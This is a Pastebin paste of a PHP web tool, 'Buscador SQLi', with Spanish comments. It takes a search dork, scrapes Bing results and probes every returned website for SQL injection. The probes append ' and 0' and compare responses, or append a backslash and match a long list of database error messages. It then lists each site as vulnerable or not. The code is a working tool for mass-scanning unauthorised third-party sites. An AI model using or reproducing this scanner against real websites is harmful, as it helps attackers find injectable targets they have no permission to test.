Advertisement
Guest User

Untitled

a guest
Apr 10th, 2013
449
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 11.88 KB | None | 0 0
  1. <title>Buscador SQLi</title>
  2. <style>
  3. body{
  4.         background-color: black;
  5.         color:white;
  6.         text-align: center;
  7.         text-decoration: none;
  8. }
  9. .text:hover{
  10.         text-shadow: 1px 1px 5px #fff;
  11. }
  12. img:hover{
  13.         opacity:0.6;
  14. }
  15. a{
  16.         text-decoration: none;
  17.         color:red;
  18. }
  19. a:hover{
  20.         text-decoration: underline;
  21. }
  22. </style>
  23. <!-- Buscador SQLi basica usando bing by arthusu -->
  24. <a href="buscador_sqli.php"><img src="http://i.imgur.com/jKXhnme.png" alt="logo" /></a><br />
  25. <?php
  26. /*
  27. +------------------------------------------------+
  28. |   Buscador SQLi basica usando BING by arthusu  |
  29. +------------------------------------------------+
  30. */
  31. //sin limite de tiempo para ejecutar el script, puedes indicar segun gustes :P
  32. set_time_limit(0);
  33. //esta funcion lo que hace es conectar a la url que le indiquemos como parametro
  34. function conectar_url($url){
  35.         //inicia curl y lo guarda en ch
  36.         $ch=curl_init();
  37.         //le damos una opciones como la url
  38.         curl_setopt($ch, CURLOPT_URL, $url);
  39.         //le damos una opcion de que nos devuelva la pagina sea verdadero
  40.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  41.         //de que siga la redireccion como verdadero
  42.         curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  43.         //de establecer un navegador en la cabecera user agent
  44.         curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:19.0) Gecko/20100101 Firefox/19.0");
  45.         //aqui en esta variable se guarda la pagina
  46.         $pagina=curl_exec($ch);
  47.         curl_close($ch);
  48.         //devolvemos la pagina :D
  49.         return $pagina;
  50. }
  51. //si existe enviar
  52. if(isset($_POST['enviar'])){
  53.         // y si no estan vacios los campos
  54.         if(!empty($_POST['dork']) && !empty($_POST['paginas'])){
  55.         //almacenamos nuestras variables
  56.         $dork=htmlentities($_POST['dork'],ENT_QUOTES);
  57.         $paginas=$_POST['paginas'];
  58.         $paginas=htmlentities($paginas,ENT_QUOTES);
  59.         //abro un archivo y guardo los logs de los dorks que insertan :D, para poder realizar esto necesitas tener permisos de escritura en la carpeta
  60.         $archivo=fopen('dorks.txt','a');
  61.         fwrite($archivo, "Dork insertado: ".$dork."\n");
  62.         fclose($archivo);
  63.         //conformamos la url
  64.         $bing_url="http://www.bing.com/search?q=".$dork."&first=comienza";
  65.         //i vale 1 mientras i sea menor o igual a paginas i va ir en aumento de 1 en 1
  66.         //en caso de que el servidor no soporte demasiadas peticiones puedes modificar o limitar el numero de paginas :P
  67.         $i=1;
  68.         while($i<=$paginas){
  69.                 //si se encuentra "comienza" en la url entonces lo reemplazamos por el valor de i
  70.                 $url_bing=str_replace('comienza', $i, $bing_url);
  71.                 //echo $url_bing ."<br />";
  72.                 //almacenamos en una variable lo que nos retorna la busqueda
  73.                 $conectado=conectar_url($url_bing);
  74.                 //si no se encuentran resultados entonces que lo muestre
  75.                 if(preg_match("/No se encontraron resultados para/i", $conectado)){
  76.                         echo "No se encontro ningun resultado";
  77.                 }else{
  78.                         //nos conectamos a la url para que podamos verificar los enlaces
  79.                         $conectado2=conectar_url($url_bing);
  80.                         //print_r($enlaces);
  81.                         //verificamos si se encuentran enlaces
  82.                         if(preg_match_all('/<h3><a href="(.*?)"/', $conectado2,$enlaces)){
  83.                                 //tenemos e que es 0 si 0 es menor a todos los enlaces entonces vamos recorriendolos
  84.                         if(!empty($_POST['checked'])){
  85.                            for($e=0; $e<count($enlaces); $e++){
  86.                                 //reemplazamos <h3><a href=" por vacio para que pueda verificar el error
  87.                                 $reemplazo=str_replace("<h3><a href=\"", "", $enlaces[0][$e]);
  88.                                 $reemplazo=str_replace('"', "", $reemplazo);
  89.                                         //$reemplazo=$enlaces[0][$e];
  90.                                         //reemplazamos en =cualquiercosa por =" de manera para verificar el error
  91.                                 //$vuln=$reemplazo."'";
  92.                                 $vuln=$reemplazo;
  93.                                 $vuln2=$reemplazo." and 0";
  94.                                 //$vuln=str_replace("=","=order by 2" , $reemplazo);
  95.                                 //conectamos a la url modificada
  96.                                 $conectado3=conectar_url($vuln);
  97.                                 $conectado4=conectar_url($vuln2);
  98.                                 if($conectado3!=$conectado4){
  99.                                                 echo "<br />Vulnerable: <font color='red'><a href='".htmlentities($reemplazo)."' target='_blank'>".htmlentities($reemplazo)."</a></font><br />";
  100.                                         }else{
  101.                                                 echo "<br />No Vulnerable:".htmlentities($reemplazo)."<br />";
  102.                                         }
  103.                                
  104.                                  }
  105.                                 }else{
  106.                                         for($e=0; $e<count($enlaces); $e++){
  107.                                 //reemplazamos <h3><a href=" por vacio para que pueda verificar el error
  108.                                 $reemplazo=str_replace("<h3><a href=\"", "", $enlaces[0][$e]);
  109.                                 $reemplazo=str_replace('"', "", $reemplazo);
  110.                                         //reemplazamos en =cualquiercosa por =" de manera para verificar el error
  111.                                 //$vuln=$reemplazo."'";
  112.                                 $vuln2=$reemplazo."\\";
  113.                                 //$vuln=str_replace("=","=order by 2" , $reemplazo);
  114.                                 //conectamos a la url modificada
  115.                                 $conectado4=conectar_url($vuln2);
  116.  
  117.                                 //si coincide con cualquiera de estos errores decimos que es vulnerable sino pues no se le pueden ir agregando mas errores...
  118.                                 if(preg_match("/You have an error in your SQL|Division by zero in|supplied argument is not a valid MySQL result resource in|Call to a member function|Microsoft JET Database|ODBC Microsoft Access Driver|Microsoft OLE DB Provider for SQL Server|Unclosed quotation mark|Microsoft OLE DB Provider for Oracle|Incorrect syntax near|Microsoft JET Database Engine error|SQL query failed|MDB2 Error|Server Error|SQL command|403 Forbidden|Warning: mysql_query|Warning: mysql_fetch_row|Warning: mysql_fetch_assoc|Warning: mysql_fetch_object|Warning: mysql_numrows|Warning: mysql_num_rows|Warning: mysql_fetch_array|Warning: pg_connect|Supplied argument is not a valid PostgreSQL result|PostgreSQL query failed: ERROR: parser: parse error|MySQL Error|MySQL ODBC|MySQL Driver|supplied argument is not a valid MySQL result resource|on MySQL result index|Oracle ODBC|Oracle Error|Oracle Driver|Oracle DB2|Microsoft JET Database Engine error|ADODB\.Command|ADODB\.Field error|Microsoft Access Driver|Microsoft VBScript runtime error|Microsoft VBScript compilation error|Microsoft OLE DB Provider for SQL Server error|OLE\/DB provider returned message|OLE DB Provider for ODBC|ODBC SQL|ODBC DB2|Oracle Error|Oracle Driver|Oracle DB2|OLE DB Provider for ODBC|ODBC SQL|ODBC DB2|ODBC Driver|ODBC Error|ODBC Microsoft Access|ODBC Oracle|JDBC SQL|JDBC Oracle|JDBC MySQL|JDBC error|JDBC Driver|Invision Power Board Database Error|DB2 ODBC|DB2 error|DB2 Driver|error in your SQL syntax|unexpected end of SQL command|invalid query|SQL command not properly ended|Error converting data type varchar to numeric|An illegal character has been found in the statement|Active Server Pages error|ASP\.NET_SessionId|ASP\.NET is configured to show verbose error messages|A syntax error has occurred|ORA-01756|Error Executing Database Query|Unclosed quotation mark|BOF or EOF|GetArray|FetchRow|Input string was not in a correct format|Warning: include|Warning: require_once|function\.include|Disallowed Parent Path|function\.require|Warning: main|Warning: session_start|Warning: getimagesize|Warning: mysql_result|Warning: pg_exec|Warning: array_merge|Warning: preg_match|Incorrect syntax near|ORA-00921: unexpected end of SQL command|Warning: ociexecute|Warning: ocifetchstatement|error ORA-/i", $conectado4)){
  119.                                         echo "<br />Vulnerable: <font color='red'><a href='".htmlentities($reemplazo)."' target='_blank'>".htmlentities($reemplazo)."</a></font><br />";
  120.                                 }else{
  121.                                         echo "No vulnerable: ".htmlentities($reemplazo)."<br />";
  122.                                 }
  123.                                 }
  124.                         }
  125.                 }else{
  126.                                 //si no se encontraron url entonces decimos que no coinciden con el formato
  127.                                 echo "No coincide con el formato<br />";
  128.                         }
  129.                        
  130.                 }
  131.                 //borramos la variable url_bing para que se cree de nuevo arriba con un nuevo valor
  132.                 unset($url_bing);
  133.                 //aumentamos i a uno para que siga recorriendo las urls
  134.                 ++$i;
  135.         }
  136. }else{
  137. //si estan vacios los campos entonces muestra que debe llenarlos y tambien muestra el formulario de nuevo
  138.         echo "Debes llenar los campos <br /><br />";
  139. ?>
  140. <!-- Aqui tenemos nuestro formulario -->
  141.         <center>
  142.         <table border="0" width="500">
  143.         <form action="" method="post">
  144.         <tr><td><b><span class="text">Ingresa el dork</span></b></td><td><input type="text" name="dork" placeholder="dork"></td><tr>
  145.         <tr><td><b><span class="text">Ingresa el numero de paginas a escanear</span></b></td><td><input type="text" name="paginas" value="5"></td></tr>
  146.         <tr><td><input name="checked" type="checkbox"></td></tr>
  147.         <tr><td colspan="2"><input type="submit" name="enviar"></td></tr>
  148.         <tr><td colspan="2"><p><b><span class="text">Nota:</span></b><span class="text">: Si seleccionas el checkbox entonces dara mas resultados pero puede lanzar falsos positivos</span></p></td></tr>
  149.         <tr><td colspan="2"><p><b><span class="text">Nota2:</span></b><span class="text">: En paginas son las paginas a escanear en el buscador en este caso bing, su paginacion seria 1,2,3,4...etc. Mi recomendacion es que lo dejen por defecto en 5 :)</span></p></td></tr>
  150.         </form>
  151.         <table>
  152.         </center>
  153. <?php
  154. }
  155. }else{
  156.         //sino existe enviar muestra un mensaje y muestra el formulario de nuevo
  157.         echo '
  158.        <center>
  159.        <table border="0" width="500">
  160.        <form action="" method="post">
  161.        <tr><td><b><span class="text">Ingresa el dork</span></b></td><td><input type="text" name="dork" placeholder="dork"></td><tr>
  162.        <tr><td><b><span class="text">Ingresa el numero de paginas a escanear</span></b></td><td><input type="text" name="paginas" value="5"></td></tr>
  163.        <tr><td><input name="checked" type="checkbox"></td></tr>
  164.        <tr><td colspan="2"><input type="submit" name="enviar"></td></tr>
  165.        <tr><td colspan="2"><p><b><span class="text">Nota:</span></b><span class="text">: Si seleccionas el checkbox entonces dara mas resultados pero puede lanzar falsos positivos</span></p></td></tr>
  166.        <tr><td colspan="2"><p><b><span class="text">Nota2:</span></b><span class="text">: En paginas son las paginas a escanear en el buscador en este caso bing, su paginacion seria 1,2,3,4...etc. Mi recomendacion es que lo dejen por defecto en 5 :)</span></p></td></tr>
  167.        </form>
  168.        <table>
  169.        </center>
  170.        ';
  171. }
  172. /*
  173. La nota mas importante es que le podemos ir agregando errores mientras vayas encontrando...
  174. Este programa puede llegar a lanzar falsos positivos....
  175. */
  176. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement